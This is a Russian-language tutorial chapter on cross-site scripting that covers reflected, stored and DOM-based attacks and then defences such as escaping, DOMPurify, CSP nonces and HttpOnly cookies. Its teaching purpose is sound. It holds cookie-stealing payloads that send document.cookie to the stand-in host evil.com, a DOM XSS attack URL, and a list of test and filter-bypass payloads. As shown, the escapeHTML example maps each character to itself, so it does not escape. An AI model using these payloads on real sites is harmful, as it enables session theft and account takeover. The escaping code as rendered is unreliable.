12. XSS: атаки и защита
Что такое XSS?
Заголовок раздела «Что такое XSS?»XSS (Cross-Site Scripting) — внедрение вредоносного JavaScript кода на веб-страницу, который выполняется в браузере жертвы.
Что может сделать XSS:
- Украсть куки сессии → похитить аккаунт
- Перехватить нажатия клавиш (keylogger)
- Перенаправить на фишинговый сайт
- Выполнить действия от имени пользователя
- Заразить компьютер через браузер
Типы XSS
Заголовок раздела «Типы XSS»1. Reflected XSS (отражённый)
Заголовок раздела «1. Reflected XSS (отражённый)»Вредоносный код в URL, сервер “отражает” его обратно:
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
# Сервер вставляет q в ответ без экранирования:<p>Результаты поиска: <script>document.location=...</script></p>Требует: жертва переходит по специально подготовленной ссылке.
2. Stored XSS (хранимый)
Заголовок раздела «2. Stored XSS (хранимый)»Вредоносный код сохраняется в базе данных:
Злоумышленник публикует комментарий:"Отличная статья! <script>fetch('https://evil.com/steal?c='+btoa(document.cookie))</script>"
Теперь каждый, кто просматривает статью, отправляет свои куки злоумышленнику.Самый опасный тип — не нужно заставлять жертву кликать.
3. DOM-based XSS
Заголовок раздела «3. DOM-based XSS»Вредоносный код выполняется через манипуляцию DOM в JavaScript:
// Уязвимый кодconst name = new URLSearchParams(location.search).get('name');document.getElementById('welcome').innerHTML = `Привет, ${name}!`;
// URL атаки:// https://example.com?name=<img src=x onerror=alert(1)>1. Экранирование вывода
Заголовок раздела «1. Экранирование вывода»Правило №1: всё, что приходит от пользователя и выводится в HTML — экранируй!
// Опасно!element.innerHTML = userInput;
// Безопасноelement.textContent = userInput;
// Если нужен HTML — используй DOMPurifyimport DOMPurify from 'dompurify';element.innerHTML = DOMPurify.sanitize(userInput);В React — по умолчанию безопасно:
// Безопасно: React автоматически экранируетconst Comment = ({ text }) => <p>{text}</p>;
// ОПАСНО: dangerouslySetInnerHTML без санитизацииconst Comment = ({ html }) => ( <div dangerouslySetInnerHTML={{ __html: html }} />);
// Безопасно с DOMPurifyimport DOMPurify from 'dompurify';const Comment = ({ html }) => ( <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />);На сервере (Node.js):
import he from 'he'; // HTML Entities
function escapeHTML(str) { return str .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, ''');}
// Или используй библиотекуconst escaped = he.encode(userInput);2. Content Security Policy (CSP)
Заголовок раздела «2. Content Security Policy (CSP)»CSP — HTTP заголовок, указывающий браузеру, откуда можно загружать ресурсы.
// Expressapp.use((req, res, next) => { res.setHeader('Content-Security-Policy', "default-src 'self'; " + "script-src 'self' 'nonce-{RANDOM}'; " + // только скрипты с nonce "style-src 'self' https://fonts.googleapis.com; " + "img-src 'self' data: https:; " + "font-src 'self' https://fonts.gstatic.com; " + "connect-src 'self' https://api.example.com; " + "frame-src 'none'; " + // запрет iframe "object-src 'none';" // запрет Flash/plugins ); next();});const securityHeaders = [ { key: 'Content-Security-Policy', value: [ "default-src 'self'", "script-src 'self' 'unsafe-eval' 'unsafe-inline'", // Для строгого CSP с nonce — нужна генерация per-request ].join('; '), },];
module.exports = { async headers() { return [ { source: '/(.*)', headers: securityHeaders, }, ]; },};3. Nonce для inline scripts
Заголовок раздела «3. Nonce для inline scripts»import crypto from 'crypto';
// Генерируем уникальный nonce для каждого запросаapp.use((req, res, next) => { const nonce = crypto.randomBytes(16).toString('base64'); res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'; style-src 'self' 'nonce-${nonce}'` );
next();});
// В шаблоне// <script nonce="<%= nonce %>">// ваш inline скрипт</script>4. HttpOnly Cookies
Заголовок раздела «4. HttpOnly Cookies»Куки с флагом httpOnly недоступны JavaScript — XSS не сможет украсть сессию:
res.cookie('sessionId', token, { httpOnly: true, // защита от XSS! secure: true, // только HTTPS sameSite: 'Lax',});5. Санитизация Rich Text
Заголовок раздела «5. Санитизация Rich Text»Если нужен Markdown/HTML от пользователя:
npm install dompurify jsdomimport { JSDOM } from 'jsdom';import createDOMPurify from 'dompurify';
const window = new JSDOM('').window;const DOMPurify = createDOMPurify(window);
function sanitizeHTML(dirty) { return DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a', 'code'], ALLOWED_ATTR: ['href', 'rel'], // Запрещаем javascript: в href FORBID_CONTENTS: ['script'], });}
// Или для Markdown — используй marked + DOMPurifyimport { marked } from 'marked';
function renderMarkdown(md) { const rawHTML = marked(md); return DOMPurify.sanitize(rawHTML);}6. Валидация входных данных
Заголовок раздела «6. Валидация входных данных»import { z } from 'zod';
const commentSchema = z.object({ text: z.string() .min(1) .max(1000) .refine(text => !/<script/i.test(text), { message: 'HTML not allowed', }), postId: z.string().uuid(),});
app.post('/api/comments', async (req, res) => { const result = commentSchema.safeParse(req.body);
if (!result.success) { return res.status(400).json({ error: result.error.issues }); }
// Безопасно сохраняем const comment = await db.comments.create(result.data); res.json(comment);});Проверка защиты
Заголовок раздела «Проверка защиты»XSS Test Payloads
Заголовок раздела «XSS Test Payloads»<!-- Базовые тесты --><script>alert('XSS')</script><img src="x" onerror="alert('XSS')"><svg onload="alert('XSS')">javascript:alert('XSS')
<!-- Обходы фильтров --><scr<script>ipt>alert('XSS')</scr</script>ipt><img src=x oNErRoR=alert(1)><a href="javascript:alert(1)">click</a>Инструменты
Заголовок раздела «Инструменты»- XSS Game — практика
- DOMPurify Demo — тест санитайзера
- Browser DevTools → Application → CSP violations
Итог: Чеклист защиты от XSS
Заголовок раздела «Итог: Чеклист защиты от XSS»- React: не используешь
dangerouslySetInnerHTMLбез DOMPurify - Все пользовательские данные экранированы при выводе
- CSP заголовок настроен
- Куки с
HttpOnlyфлагом - Rich text санитизируется DOMPurify
- Входные данные валидируются (Zod, Joi)
- URL параметры не попадают в innerHTML напрямую
Практические задания
Заголовок раздела «Практические задания»- Найди XSS уязвимость в https://xss-game.appspot.com/
- Настрой CSP заголовки для Next.js приложения
- Добавь DOMPurify для вывода пользовательских комментариев
- Проверь приложение через https://securityheaders.com